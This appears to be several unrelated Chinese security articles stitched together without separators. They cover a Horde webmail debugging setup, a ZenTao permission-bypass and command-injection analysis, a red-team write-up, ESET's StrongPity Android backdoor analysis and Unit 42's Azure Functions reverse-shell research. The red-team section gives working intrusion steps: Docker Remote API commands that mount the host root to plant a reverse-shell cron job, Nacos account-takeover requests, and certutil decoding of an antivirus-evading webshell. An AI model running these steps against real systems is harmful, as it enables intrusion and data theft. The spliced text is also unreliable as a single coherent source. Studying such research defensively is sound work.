依次打開File-Settings-PHP-Debug-DBGp Proxy，填入以下信息： 如下圖 (4)配置Servers 依次打開File-Settings-PHP-Servers 手動添加一個，填入以下信息： 勾選Use path mappings，填入以下配置信息： 如下圖 3.下斷點將Ubuntu18的文件夾/usr/share/horde下載到本地，保存為c:\Users\1\PhpstormProjects\untitiled\horde 在PhpStorm打開需要調試的php文件並下斷點 4.開始調試(1)配置 依次打開Run-Edit Configurations 手動添加一個，選擇PHP Web Page，填入以下信息： (2)開啟監聽 依次打開Run-Start Listening for PHP Debug Connections (3)開啟調試 依次打開Run-Debug 彈出Chrome瀏覽器，捕獲到斷點，如下圖 0x04 常用知識1.添加管理員用戶將用戶a設置為管理員用戶 修改：$conf['auth']['admins']=array(); 設置為：$conf['auth']['admins']=array('a'); 2.日誌位置 0x05 小結在我們搭建好Horde Groupware Webmail漏洞調試環境後，接下來就可以著手對漏洞進行學習。 參考資料： https://www.horde.org/apps/webmail/docs/INSTALL https://github.com/horde/base/blob/master/doc/INSTALL.rst https://geekrewind.com/install-horde-groupware-webmail-on-ubuntu-16-04-18-04-with-apache2/ https://neoserver.site/help/step-step-installation-instructions-postfix-and-dovecot-ubuntu

漏洞概述禪道是第一款國產的開源項目管理軟件，也是國內最流行的項目管理軟件。該系統在2023年初被爆出在野命令執行漏洞，官方已於2023年1月12日發布了漏洞修復補丁。該漏洞是由於禪道項目管理系統權限認證存在缺陷導致，攻擊者可利用該漏洞在未授權的情況下，通過權限繞過在服務器執行任意命令。 本文以安全研究為目的，分享對該漏洞的研究和復現過程，僅供學習和參考。由於傳播、利用此文檔提供的信息而造成任何直接或間接的後果及損害，均由使用者本人負責，文章作者不為此承擔任何責任。 影響範圍 禪道系統 影響版本 開源版 17.4以下的未知版本=version=18.0.beta1 旗艦版 3.4以下的未知版本=version=4.0.beta1 企業版 7.4以下的未知版本=version=8.0.beta1 8.0.beta2 復現環境 操作系統：macOS13.1 運行環境：nginx1.5 php7.4 mysql5.7 軟件版本：zentaopms-zentaopms_18.0.beta1 權限繞過-漏洞分析權限繞過的關鍵點在module/common/model.php文件中checkPriv函數，此函數是檢查權限的函數，驗證當前登陸用戶是否有訪問module與method的權限。分析代碼後得知在沒有訪問權限時會拋出異常，但是代碼中並沒有終止程序，只是輸出權限不足的內容。具體代碼如下： public function checkPriv(){ try { $module=$this-app-getModuleName(); $method=$this-app-getMethodName(); if($this-app-isFlow) { $module=$this-app-rawModule; $method=$this-app-rawMethod; } $beforeValidMethods=array( 'user'=array('deny', 'logout'), 'my'=array('changepassword'), 'message'=array('ajaxgetmessage'), ); if(!empty($this-app-user-modifyPassword) and (!isset($beforeValidMethods[$module]) or !in_array($method, $beforeValidMethods[$module]))) return print(js:locate(helper:createLink('my', 'changepassword'))); if($this-isOpenMethod($module, $method)) return true; if(!$this-loadModel('user')-isLogon() and $this-server-php_auth_user) $this-user-identifyByPhpAuth(); if(!$this-loadModel('user')-isLogon() and $this-cookie-za) $this-user-identifyByCookie(); if(isset($this-app-user)) { if(in_array($module, $this-config-programPriv-waterfall) and $this-app-tab=='project' and $method !='browse') return true; $this-app-user=$this-session-user; if(!commonModel:hasPriv($module, $method)) { if($module=='story' and !empty($this-app-params['storyType']) and strpos(',story,requirement,', ',{$this-app-params['storyType']},') !==false) $module=$this-app-params['storyType']; $this-deny($module, $method); } } else { $uri=$this-app-getURI(true); if($module=='message' and $method=='ajaxgetmessage') { $uri=helper:createLink('my'); } elseif(helper:isAjaxRequest()) { die(json_encode(array('result'=false, 'message'=$this-lang-error-loginTimeout))); //Fix bug #14478. } $referer=helper:safe64Encode($uri); die(js:locate(helper:createLink('user', 'login', 'referer=$referer'))); } } catch(EndResponseException $endResponseException) { echo $endResponseException-getContent(); } } 其中commonModel:hasPriv()函數是內置公共的驗證權限，代碼中可以看出無權限訪問就會執行deny 方法，而deny 最後驗證的結果是無權限則執行helper:end()，該方法是直接拋出異常，就會進入上面的trycache邏輯。 publicstaticfunctionend($content='') { throwEndResponseException:create($content); } 在進入權限檢查的流程前需要在$this-app-user 不為空的情況下將$this-session-user賦值給$this-app-user ，然後再做權限檢查。因此我們還需要構造一個$this-session-user，即寫一個session['user']才能進行繞過。所以現在思路很清晰了，只需$this-session-user 存在就可以通過⽤戶是否登錄的檢查，使權限檢查的函數如同虛設。 根據這個思路逆推可以得出結論：只要有任意⼀個⽤戶session就可以調⽤任意模塊的任意⽅法。 經過代碼審計發現captcha函數可以直接寫入一個自定義key的session，此段代碼本意是設置生成一個自定義session的key的驗證碼，開發者應該是想寫一個公共的驗證碼生成函數讓其他開發者做新功能需要的時候可以直接調用，正好可以利用生成一個key為user的session。 public function captcha($sessionVar='captcha', $uuid='') { $obLevel=ob_get_level(); for($i=0; $i $obLevel; $i++) ob_end_clean(); header('Content-Type: image/jpeg'); $captcha=$this-app-loadClass('captcha'); $this-session-set($sessionVar, $captcha-getPhrase()); $captcha-build()-output(); } 通過上述思路可以成功實現權限繞過，不過經過實際測試發現，能繞過訪問的皆為公共模塊。因為在禪道的功能權限驗證中還有一部分是驗證userid或level。就好比某些用戶有“項目1”的權限，某些用戶有“項目2”的權限，所以類似這類的數據任然不能訪問獲取。 命令執行-漏洞分析實際上整個利用鏈最關鍵的一環就在上面的權限繞過上，禪道系統後臺本身存在多個sql注入及命令執行漏洞，本文給出一種後台命令執行的方法供參考，其他利用點感興趣的小伙伴可自行研究。 在權限繞過後，接下來我們需要分析後台命令執行點的位置。通過代碼審計，最終鎖定在module/repo/model.php文件，其中checkConnection函數會進行SCM=Subversion判斷，$client是導致命令注入的參數點，一條完整的函數間調用的利用過程如下所示： module/repo/model.php-create() module/repo/control.php-edit() module/repo/model.php-update($repoID)-checkConnection()-exec($versionCommand,$versionOutput, $versionResult); PS：為什麼要創建倉庫，因為在查看checkConnection調用函數為create和update，但是在create的時候必須經過checkClient 的判斷，必須要創建一個文件才行，如果SCM指定為Gitlab就不需要通過checkClient判斷。 具體復現思路如下： 1.進入創建倉庫的函數:module/repo/model.php public function create(){ if(!$this-checkClient()) return false; if(!$this-checkConnection()) return false; $isPipelineServer=in_array(strtolower($this-post-SCM), $this-config-repo-gitServiceList) ? true : false; $data=fixer:input('post') -setIf($isPipelineServer, 'password', $this-post-serviceToken) -setIf($this-post-SCM=='Gitlab', 'path', '') -setIf($this-post-SCM=='Gitlab', 'client', '') -setIf($this-post-SCM=='Gitlab', 'extra', $this-post-serviceProject) -setIf($isPipelineServer, 'prefix', '') -setIf($this-post-SCM=='Git', 'account', '') -setIf($this-post-SCM=='Git', 'password', '') -skipSpecial('path,client,account,password') -setDefault('product', '') -join('product', ',') -setDefault('projects', '')-join('projects', ',') -get(); $data-acl=empty($data-acl) ? '' : json_encode($data-acl); if($data-SCM=='Subversion') { $scm=$this-app-loadClass('scm'); $scm-setEngine($data); $info=$scm-info(''); $infoRoot=urldecode($info-root); $data-prefix=empty($infoRoot) ? '' : trim(str_ireplace($infoRoot, '', str_replace('\\', '/', $data-path)), '/'); if($data-prefix) $data-prefix='/' . $data-prefix; } 當SCM類型指定為Subversion時，後續控制$client才可以完成命令注入。 2.編輯代碼倉庫進入module/repo/control.php中的edit函數，post傳參會進入到update函數。 public function edit($repoID, $objectID=0){ $this-commonAction($repoID, $objectID); $repo=$this-repo-getRepoByID($repoID); if($_POST) { $noNeedSync=$this-repo-update($repoID); if(dao:isError()) return $this-send(array('result'='fail', 'message'=dao:getError())); $newRepo=$this-repo-getRepoByID($repoID); $actionID=$this-loadModel('action')-create('repo', $repoID, 'edited'); $changes=common:createChanges($repo, $newRepo); $this-action-logHistory($actionID, $changes); 跟踪update函數到module/repo/model.php，需要將scm設置為Subversion，此時會去檢測svn服務器是否可以連接。 publicfunctionupdate($id){ $repo=$this-getRepoByID($id); if(!$this-checkConnection())returnfalse; $isPipelineServer=in_array(strtolower($this-post-SCM),$this-config-repo-gitServiceList)?true:false; $data=fixer:input('post') -setIf($isPipelineServer,'password',$this-post-serviceToken) -setIf($this-post-SCM=='Gitlab','path','') -setIf($this-post-SCM=='Gitlab','client','') -setIf($this-post-SCM=='Gitlab','extra',$this-post-serviceProject) -setDefault('prefix',$repo-prefix) -setIf($this-post-SCM=='Gitlab','prefix','') -setDefault('client','svn') -setDefault('product','') -skipSpecial('path,client,account,password') 跟踪該函數，$this-post-SCM等於Subversions時會去check svn服務器version，此刻會把$this-post-client拼接到執行的versionCommand 中，造成命令執行。 if(empty($_POST))returnfalse; $scm =$this-post-SCM; $client=$this-post-client; $account=$this-post-account; $password=$this-post-password; $encoding=strtoupper($this-post-encoding); $path=$this-post-path; if($encoding!='UTF8'and$encoding!='UTF-8')$path=helper:convertEncoding($path,'utf-8',$encoding); if($scm=='Subversion') { /*Getsvnversion.*/ $versionCommand='$client--version--quiet21'; exec($versionCommand,$versionOutput,$versionResult); if($versionResult) { $message=sprintf($this-lang-repo-error-output,$versionCommand,$versionResult,join(' ',$versionOutput)); dao:$errors['client']=$this-lang-repo-error-cmd.' '.nl2br($message); returnfalse; } $svnVersion=end($versionOutput); 命令執行最終效果截圖：

1、供应链 在经历了多年的攻防对抗之后，大量目标单位逐渐认识到安全防护的重要性。因此，他们已采取措施尽可能收敛资产暴露面，并加倍部署各种安全设备。但安全防护注重全面性，具有明显的短板效应，一处出现短板，整个防护体系就可能瞬间崩溃。而目标单位的供应链往往是这些薄弱点的集中体现。这些供应链不仅暴露在外，而且由于复杂的关系，使得对它们的监控和管理变得更为困难。因此，攻击团队通常会选择从供应链着手，以一种迂回的方式绕过目标单位强大的防御体系，获得对目标单位的控制权限。 通过在搜索引擎上搜索"系统名称"目标单位 找到相关的供应商信息，通过对供应商进行攻击，获取目标单位的数据及权限。! 1.1、heapdump泄露 通过对供应商资产进行渗透，发现某资产admin目录下存在heapdump文件泄露 对于heapdump的利用方式这里就不太赘述，有许多文章对其原理和利用都进行了深入的研究，特定情况下还可以直接进行RCE，这里泄露了大量敏感信息，密码信息加入密码本 登录MinIO，发现大量所属目标单位的敏感信息，也存在其它单位的敏感信息 登录Nacos，大量配置文件，密码信息加入密码本![] 登录OSS，发现大量所属目标单位的敏感信息 1.2、微信小程序接口未授权 1.2.1、微信小程序解包 想要对微信小程序进行解包操作，首先是要获取目标小程序的wxapkg文件。wxapkg文件是微信小程序的安装包文件格式，用于将小程序的代码、资源以及其他必要的文件打包成一个单独的文件。但是Windows环境下的wxapkg文件中的js代码和资源文件一般是被加密的，需要使用专门设计的解密工具先进行解密，再进行解包操作，获取文件内容。iOS和Android平台下可直接进行解包操作。 1.2.1.1、获取wxapkg文件 在获取wxapkg文件时，最好将文件夹中的文件先删除，然后再重新打开小程序，防止其它文件干扰 iOS wxapkg 文件存放路径为： /var/mobile/Containers/Data/Application/{系统UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID} Android wxapkg 文件存放路径为： /data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/ Windows wxapkg 文件存放路径为： C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序的AppID}\ 1.2.1.2、解密操作 下面两个github项目都可以进行解密操作 https://github.com/superdashu/pc_wxapkg_decrypt_python https://github.com/BlackTrace/pc_wxapkg_decrypt 解密原理 成功解密 1.2.1.2、解包操作 国光大佬提供的工具下载链接 https://sqlsec.lanzoub.com/i1NEP0mx694f node wuWxapkg.js 1.wxapkg 对小程序进行解包操作，获取到前端JS代码后中，从中进行提取获得接口 直接访问目标接口，前端页面虽然显示初始化失败 但流量包中已获取数据，近千万条目标单位敏感信息 1.3、web程序越权 通过上述收集到的密码，撞密码撞出一个账号，但是此账号为最低权限，无任何操作权限，点击搜索组织架构，此时无任何返回信息 抓包将parentId和orgLevel去除，再发包，即可越权看到全员组织架构 点击修改密码，然后将上述获取到的roleId添加进去，即可获取全部权限 获取到大量数据 1.4、公众号 js泄露密码，密码可撞库目标单位公众号 2、云原生安全 容器化部署和微服务架构为应用程序开发和部署提供了更好的灵活性、可伸缩性、可维护性和性能，受到了越来越多厂商的使用，新的应用就会引入新的攻击面，如容器逃逸、服务间攻击、API滥用等。攻击者可以利用这些新的入口点来攻击应用程序和数据。并且在云原生环境下管理用户和服务的身份验证和授权变得更加复杂。许多应用开发商在追求容器化和云原生架构的便利性和效率时，安全性常常被忽视或放在次要位置。这就直接导致了云原生环境的脆弱，容易受到各种安全威胁和攻击。 2.1、Harbor 镜像仓库 Harbor是一个开源的容器镜像仓库管理器，旨在帮助组织存储、管理和分发Docker容器镜像，但是Harbor存在一个充满争议的“漏洞”：任意用户能够直接获取public的镜像。 可以直接拉取下载镜像文件，可以利用脚本批量下载 2.2、疑似后门 通过镜像文件获取jar包，获取配置文件等敏感信息，对jar包的class文件进行反编译，进行代码审计获取到一个类似后门的漏洞，该接口只需要使用用户名，即可登录系统后台。管理员权限配合文件上传获取服务器权限。 通过配置文件连接数据库等 2.3、docker未授权 2.3.1、 registry api未授权访问 在 Docker Registry API 中，认证和授权通常是基于访问令牌（Access Token）或者用户名和密码的。如果未正确设置访问控制权限，即会造成未授权访问漏洞，攻击者可直接下载registry仓库的所有镜像容器。 访问/v2/_catalog接口即可查看全部仓库内容 https://github.com/Soufaker/docker_v2_catalog 利用上述工具可直接下载镜像 2.3.2、 Docker Remote API未授权访问 为了管理容器集群，Docker允许Daemon作为后台守护进程执行通过管理接口发送的Docker命令，使用参数-H 0.0.0.0:2375启动Docker Daemon时，将开放2375端口接收来自远程Docker客户端的命令。在这种情况下，2375端口被作为非加密端口暴露出来，并且不存在任何形式的身份验证，攻击者可以直接使用Docker命令连接到Docker Daemon，并对容器进行直接操作，配合根目录挂载即可实现容器逃逸。 #查看容器 docker -H tcp://<target>:2375 ps -a #挂载宿主机的根目录到容器内的mnt目录 docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash #反弹shell echo '反弹shell命令' >> /mnt/var/spool/cron/crontabs/root 2.4、Nacos Nacos是一个开源的动态服务发现、配置管理和服务管理平台，它提供了注册中心、配置中心和服务管理等功能，帮助开发人员实现微服务架构中的服务注册、配置管理以及服务发现等需求。 作为一个开源工具，漏洞还是被披露不少的， 未授权访问：/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用户 任意用户添加：POST /nacos/v1/auth/users username= & password= 任意用户密码修改：curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2' 弱口令：nacos/nacos 通过编排密码爆破进后台，发现大量配置文件，但敏感信息均被加密 2.4.1、Jasypt加密 Spring 的配置文件中会有一些敏感信息，如数据库密码，因此有时我们希望将敏感信息加密，Jasypt 就是其中比较方便的工具，Jasypt 是一个 Java 库，用于简化敏感数据（如密码、API 密钥等）的加密和解密操作。 加密的内容需要用 ENC(..) 括起来，加密用的密码通过 jasypt.encryptor.password 指定。 spring: datasource: username: your-username password: ENC(encrypted-password) 因为必须要解密，密码就需要放在配置文件里，或者放在代码中： # application.yml jasypt: encryption: password: 密码 algorithm: 加密方式 解密数据：使用解密器的 decrypt 方法对加密的数据进行解密操作。 import org.jasypt.util.text.BasicTextEncryptor; public class DecryptionExample { public static void main(String[] args) { String encryptionKey = "yourEncryptionKey"; // 加密密钥 BasicTextEncryptor textEncryptor = new BasicTextEncryptor(); textEncryptor.setPassword(encryptionKey); String encryptedText = "encryptedText"; // 加密后的数据 String decryptedText = textEncryptor.decrypt(encryptedText); System.out.println("Decrypted Text: " + decryptedText); } } 但是客户端加密的安全性主要依赖于客户端代码的保护和可信任性，当密码泄露后，加密也就自然失效了，在ncaos一个文件中发现jasypt加密密码，可以直接进行解密操作 成功连接OSS 成功连接数据库 小程序token，接管小程序 达梦数据库是国产化的关系型数据库，使用下面工具可以进行连接 https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3 3、Nday 3.1、yongyouNC jsInvoke rce漏洞 漏洞利用方法，通过Java反射机制创建一个javax.naming.InitialContext对象，并使用LDAP协议连接到指定的IP地址和端口，然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法，接受对象和字符串作为参数，达到命令执行的效果。 命令执行成功，但是目标系统存在杀软，无法直接上传文件 3.1.1、certutil certutil 是 Windows 操作系统中的一个命令行工具，主要用于处理证书和加密相关的操作，利用 certutil的解密操作可以绕过杀软。 echo bash64编码后的免杀马 > myfile.jsp 使用certutil进行解码 certutil -decode 木马相对路径 解码后的木马相对路径 冰蝎上线并上线CS 3.2、若依二开 shiro的洞修复了，找到一个前台信息泄露漏洞 通过获取到的用户名，使用弱口令进入后台，普通权限 再次对公告发布人员猜解密码，成功登录后台，多了系统管理权限，直接添加用户赋予最高权限 新增用户登录，发现定时任务功能，直接使用定时任务执行命令 3.3、shiro 目标路径在被访问时，会先跳转到统一认证登录，导致大部分都忽视了该路径是存在shiro反序列化漏洞的 本着试一试的心态进行了shiro的扫描，默认密钥，直接获取权限 转自于原文链接： https://forum.butian.net/share/2442

ESET的研究人員最近發現了一個活躍的StrongPity活動，該活動會偽裝成Shagle應用程序來傳播木馬化的Android Telegram應用程序。 ESET研究人員認為其幕後組織是StrongPity APT組織。 Shagle是一種隨機視頻聊天服務，提供陌生人之間的加密通信。該活動自2021年11月起活躍，與完全基於網絡的真正Shagle網站不同，該網站不提供官方移動應用程序來訪問其服務，只提供Android應用程序供下載，這也就意味著用戶不可能進行基於網絡的流媒體傳輸。 被下載的惡意應用程序是一個功能齊全但被木馬化的合法Telegram應用程序，然而，其最終卻以Shagle應用程序的形式呈現。我們其稱為假冒Shagle應用程序、木馬化的Telegram應用程序或StrongPity後門。 ESET研究人員將其命名為Android/StrongPity.A。 StrongPity後門具有各種間諜功能：它的11個動態觸發模塊負責記錄電話、收集短信、通話記錄列表、聯繫人列表等。這些模塊均是首次被發現。如果受害者授予惡意StrongPity應用程序可訪問性服務，它的一個模塊也可以訪問傳入的通知，並能夠從Viber、Skype、Gmail、Messenger和Tinder等17個應用程序中竊取通信。 目前，此次攻擊還沒有特定的受害者。不過在研究過程中，從虛假網站下載的惡意軟件不再活躍，也不再可能成功安裝它並觸發其後門功能，因為StrongPity還沒有為其木馬Telegram應用程序獲得自己的API ID。但如果攻擊者決定更新惡意應用程序，這種情況可能會隨時改變。 技術分析這場StrongPity活動圍繞著一個Android後門展開，該後門來自一個包含“dutch”字樣的域名。該網站模仿了shagle.com上名為Shagle的合法服務。在下圖中，你可以看到兩個網站的主頁。該惡意應用程序可直接從虛假網站下載，Google Play store中還未出現該惡意程序。這是合法Telegram應用程序的木馬化版本，看起來就像Shagle官方應用程序一樣。注意，目前還沒有Shagle的官方Android應用程序。 左邊為合法網站，右邊為虛假網站 如下圖所示，虛假網站的HTML代碼包含了2021 11月1日使用自動工具HTTrack從合法的shagle.com網站複製的證據。惡意域名是在同一天註冊的，所以從那天起，虛假網站和假冒Shagle應用程序就可以下載了。 在虛假網站的HTML代碼中發現的由HTTrack工俱生成的日誌記錄 受害目標2022年7月18日，當一個惡意應用程序和一個模仿shagle.com的網站鏈接被上傳時，研究人員在VirusTotal的YARA規則被觸發。與此同時，研究人員在Twitter上收到了關於該樣本的通知，儘管它被錯誤地歸因於Bahamut，但仍然沒有識別出任何受害者。 幕後組織虛假Shagle網站發布的APK使用與趨勢科技在2021年發現的木馬化敘利亞電子政務應用程序相同的代碼簽名證書進行簽名，該應用程序的幕後組織就是StrongPity。 該證書籤名了假冒的Shagle應用和木馬化的敘利亞電子政務應用 StrongPity早在之前的活動中就使用了假冒Shagle應用程序中的惡意代碼，並實現了一個簡單但功能強大的後門。這個代碼只在StrongPity開展的活動中使用過。在下圖中，你可以看到一些添加的惡意類，其中許多經過模糊處理的名稱在兩個活動的代碼中甚至是相同的。 木馬化的敘利亞電子政務應用程序(左)和木馬化的Telegram應用程序(右)的類名比較 將此次活動的後門代碼與木馬化的敘利亞電子政務應用程序的後門代碼(SHA-1: 5A5910C2C9180382FCF7A939E9909044F0E8918B)進行比較，它具有擴展的功能，但使用相同的代碼來提供類似的功能。在下圖中，你可以比較兩個示例中負責在組件之間發送消息的代碼。這些消息會觸發後門的惡意行為，因此，研究人員堅信假冒Shagle應用程序與StrongPity組織有關。 負責在木馬化的敘利亞電子政務應用程序中觸發惡意功能的消息 負責在假冒Shagle應用程序中觸發惡意功能的消息 初始訪問如上所述，假冒的Shagle應用程序被託管在虛假Shagle網站上，受害者必須選擇從該網站下載並安裝該應用程序。由於目前還無法從Google Play下載該惡意軟件，研究人員不知道潛在的受害者是如何被誘導到虛假網站下載惡意軟件的。 工具集根據虛假網站上的描述，這款應用是免費的，旨在用於與新朋友見面和聊天。然而，下載的應用程序卻是一個被惡意修復的Telegram應用程序，早在2022年2月25日左右就可下載。 這個木馬化的Telegram使用了與合法Telegram應用相同的程序包名。包名應該是每個Android應用的唯一ID，並且在任何給定設備上都必須是唯一的。這意味著，如果潛在受害者的設備上已經安裝了官方Telegram應用程序，那麼這個後門版本就無法安裝，如下圖所示。這可能意味著兩種情況：攻擊者要么首先與潛在受害者溝通，誘導他們在安裝了Telegram的設備上卸載Telegram，要么該活動將重點放在很少使用Telegram進行通信的國家。 如果設備上已經安裝了Telegram官方應用，則無法成功安裝木馬版本 StrongPity的木馬化Telegram應用程序應該可以像官方版本一樣使用標準的API進行通信，理論上來講，這些API在Telegram網站上有很好的記錄，但由於這個應用程序已經不能工作了，所以我們無法再檢查。 在研究過程中，從虛假網站上獲得的當前版本的惡意軟件不再活躍，也不再可能成功安裝並觸發其後門功能。當研究人員嘗試使用他們的電話號碼註冊時，重新打包的Telegram應用程序無法從服務器獲取API ID，因此無法正常工作。如下圖所示，應用程序顯示API_ID_PUBLISHED_FLOOD錯誤。 使用電話號碼註冊時顯示錯誤 根據Telegram的錯誤文檔，StrongPity似乎沒有獲得自己的API ID。相反，它使用了Telegram開源代碼中包含的API ID樣本來進行初始測試。 Telegram監控API ID的使用並限制示例API ID，因此在發布的應用程序中使用它會導致如上圖所示的錯誤。由於該錯誤，用戶無法再註冊和使用該應用程序或觸發其惡意功能。這可能意味著StrongPity的運營商沒有考慮到這一點，或者可能在傳播應用程序時有足夠的時間來監視受害者使用的Telegram ID。由於該網站從未提供過該應用程序的新版本，這可能表明StrongPity成功地將惡意軟件部署到了其預期目標。 所以，在進行研究時，虛假網站上的假冒Shagle應用程序已不再活躍。然而，如果攻擊者決定更新惡意應用程序，這個情況可能會隨時改變。 StrongPity後門代碼的組件和所需的權限附加到Telegram應用程序的AndroidManifest.xml文件中。如下圖所示，這可以很容易地看出惡意軟件需要哪些權限。 AndroidManifest.xml突出顯示了StrongPity後門的組件和權限 從Android清單中，我們可以看到惡意類被添加到org.telegram.messenger包中，作為原始應用程序的一部分出現。 初始惡意功能是由設置好的操作(BOOT_COMPLETED、BATTERY_LOW或USER_PRESENT)後執行的三個廣播接收器之一觸發的。首次啟動之後，它會動態註冊其他廣播接收器來監視SCREEN_ON、SCREEN_OFF和CONNECTIVITY_CHANGE事件。然後，假冒Shagle應用程序使用IPC(進程間通信)在其組件之間進行通信，以觸發各種操作。它使用HTTPS與CC服務器聯繫，發送有關受攻擊設備的基本信息，並接收包含11個二進制模塊的AES加密文件，該文件將由父應用程序動態執行。如下圖所示，這些模塊存儲在應用程序的內部存儲/data/user/0/org.telegram.messenger/files/.li/中。 StrongPity後門接收包含可執行模塊的加密文件 從服務器接收的模塊存儲在StrongPity後門的內部存儲中 每個模塊負責不同的功能。模塊名列表存儲在sharedconfig.xml文件的本地共享首選項中，如下圖所示。 必要時，模塊由父應用程序動態觸發。每個模塊都有自己的模塊名稱，並負責不同的功能，例如： libarm.jar(cm module)——記錄通話； libmpeg4.jar(nt module)——收集來自17個應用程序的傳入通知消息的文本； local.jar(fm/fp module)——收集設備上的文件列表（文件樹）； phone.jar(ms module)——通過竊取聯繫人姓名、聊天信息和日期，濫用可訪問性服務來監視消息應用程序； resources.jar(sm module)——收集存儲在設備上的短信； services.jar(lo module)——獲取設備位置； systemui.jar(sy module)——收集設備和系統信息； timer.jar(ia module)——收集已安裝應用程序的列表； toolkit.jar(cn module)——收集聯繫人列表； watchkit.jar(ac module)——收集設備帳戶列表； wearkit.jar(cl module)——收集調用日誌列表； StrongPity後門使用的模塊列表 所有獲得的數據都存儲在clear-in/data/user/0/org.telegram.messenger/databases/outdata中，然後使用AES加密並發送到CC服務器，如下圖所示。 加密的用戶數據被洩露到CC服務器 與第一個手機版StrongPity相比，這個StrongPity後門擴展了監視功能。它可以請求受害者激活可訪問性服務並獲得通知訪問權。如果受害者啟用了它們，惡意軟件將監視傳入的通知，並濫用可訪問性服務，從其他應用程序中竊取聊天記錄。 針對受害者的惡意軟件請求、通知訪問和可訪問性服務 通過通知訪問，惡意軟件可以讀取來自17個目標應用程序的通知消息。以下是他們的軟件包名稱列表： Messenger (com.facebook.orca) Messenger Lite (com.facebook.mlite) Viber – Safe Chats And Calls (com.viber.voip) Skype (com.skype.raider) LINE: Calls Messages (jp.naver.line.android) Kik — Messaging Chat App (kik.android) tango-live stream video chat (com.sgiggle.production) Hangouts (com.google.android.talk) Telegram (org.telegram.messenger) WeChat (com.tencent.mm) Snapchat (com.snapchat.android) Tinder (com.tinder) Hike News Content (com.bsb.hike) Instagram (com.instagram.android) Twitter (com.twitter.android) Gmail (com.google.android.gm) imo-International Calls Chat (com.imo.android.imoim) 如果設備已處於根目錄，則惡意軟件會默默地嘗試授予WRITE_SETTINGS, WRITE_SECURE_SETTINGS, REBOOT, MOUNT_FORMAT_FILESYSTEMS, MODIFY_PHONE_STATE, PACKAGE_USAGE_STATS, READ_PRIVILEGED_PHONE_STATE權限，以啟用可訪問性服務，並授予通知訪問權限。之後，StrongPity後門嘗試禁用SecurityLogAgent應用程序(com.samsung.android.securitylogagent)，這是一個官方系統應用程序，有助於保護三星設備的安全，並禁用來自惡意軟件本身的所有應用程序通知，這些應用程序通知可能在未來顯示給受害者，以防應用程序錯誤，崩潰或警告。 StrongPity後門本身並不嘗試對設備進行根操作。 AES算法使用CBC模式和硬編碼密鑰來解密下載的模塊： AES key–aaaanothingimpossiblebbb AES IV–aaaanothingimpos 總結攻擊者重新利用了官方Telegram應用程序，在其中加入了後門代碼。本次活動中的惡意代碼、功能、類名以及用於簽署APK文件的證書與之前StrongPity組織發起的活動相同，有鑑於此，本次攻擊活動背後的組織是StrongPity組織。 在我們進行研究時，由於API_ID_PUBLISHED_FLOOD錯誤，在虛假網站上可用的示例被禁用，這導致惡意代碼沒有被觸發，潛在的受害者可能會從目標設備中刪除異常應用程序。 通過分析代碼可知，後門是模塊化的，額外的二進制模塊是從CC服務器下載的。這意味著模塊的數量和類型可以在任何時候改變，以適應由StrongPity組織發起的活動。 根據我們的分析，這似乎是StrongPity組織開發的第二個針對安卓惡意軟件的程序，與第一個版本相比，它還濫用了可訪問性服務和通知訪問，將收集的數據存儲在本地數據庫中，嘗試執行su命令，並且對於大多數數據收集使用下載的模塊。

Unit 42研究人員調查了Azure的無服務器架構，發現他們能夠破壞底層主機的無服務器函數。研究人員還發現，他們的主機實際上是一個HyperV虛擬機，它託管了其他幾個無服務器函數。 Hyper-V是微軟的一款虛擬化產品，是微軟第一個採用類似Vmware ESXi和Citrix Xen的基於hypervisor的技術。 Azure serverless functions（通常稱為Azure Functions）是一種無服務器解決方案，可以使用戶減少代碼編寫、減少需要維護的基礎結構並節省成本。無需擔心部署和維護服務器，雲基礎結構提供保持應用程序運行所需的所有最新資源。你可以專注於使用你認為最高效的語言編寫最重要的代碼，而Azure Functions 處理其餘代碼。作為一個基於觸發器的服務，它運行代碼以響應各種事件。在本文中，這個事件是一個網頁請求。 研究人員發現，對於每個函數，主機都會生成一個新的容器。每個容器將在幾分鐘後終止並刪除，以將無服務器函數與傳統的容器即服務區分開來。 問題主機只託管研究的Azure用戶有權訪問的函數，因此不會造成真正的攻擊。很明顯，微軟竭盡全力阻止人們訪問主機，因此可能還有其他問題尚未被發現。虛擬機上可能有不應該顯示的重要信息，這些信息可能會被動機充分的攻擊者發現。 微軟經常使用容器來加強安全性，但由於容器本質上不如虛擬機那樣安全，因此通常不會將其視為安全邊界。在本文的示例中，他們實現了額外的安全層，這被證明是有效的。 Prisma的無服務器解決方案為大多數雲提供商提供了函數發現和漏洞掃描功能。這些功能會作用於無服務器函數上，並在發現這些函數中存在已知漏洞時提醒你。 什麼是無服務器函數無服務器函數是無服務器計算（通常簡稱為“無服務器”）的一個特點，雲提供商按需為其客戶提供所有計算資源，並管理所有架構，包括雲基礎設施。 無服務器理想應用程序的一個很好的例子是聊天機器人。例如，Slack使用名為marbot的無服務器應用程序通過Slack向DevOps團隊發送通知。 “serverless”這個名字有點誤導人。不管它的名字意味著什麼，無服務器計算仍然需要物理服務器來執行代碼。與傳統計算的主要區別在於，無服務器抽象了與代碼本身無關的任何東西，從代碼運行的操作系統到實際運行代碼的設備硬件。 無服務器函數的內部結構你可能會問自己的第一個問題是如何開始研究無服務器平台。任何使用過Azure Serverless Functions的人都知道，可研究的地方不是很多。你可以上傳一些代碼或更改一些設置，如下圖所示，但僅此而已。 通過Azure函數提供的所有不同運行時 研究人員決定從一個HTTP請求觸發的Linux上的Python函數開始研究，對於某些運行時，Windows也可用。 下一步是在函數中獲得一個有效的交互式shell，以更好地理解研究人員正在處理的內容，並獲得有關運行代碼的設備的一些信息。為了便於使用，研究人員決定使用逆向shell。研究人員還決定使用數據傳輸工具socat而不是netcat，因為它支持更廣泛的協議。 研究人員使用的socat二進製文件 研究人員只是將socat二進製文件放在Visual Studio代碼中的項目目錄中，並將整個文件部署到研究人員之前創建的無服務器函數中。實際啟動逆向shell的代碼非常簡單，因為整個邏輯都在socat應用程序中，如下圖所示。 連接到逆向shell偵聽器的簡單函數代碼 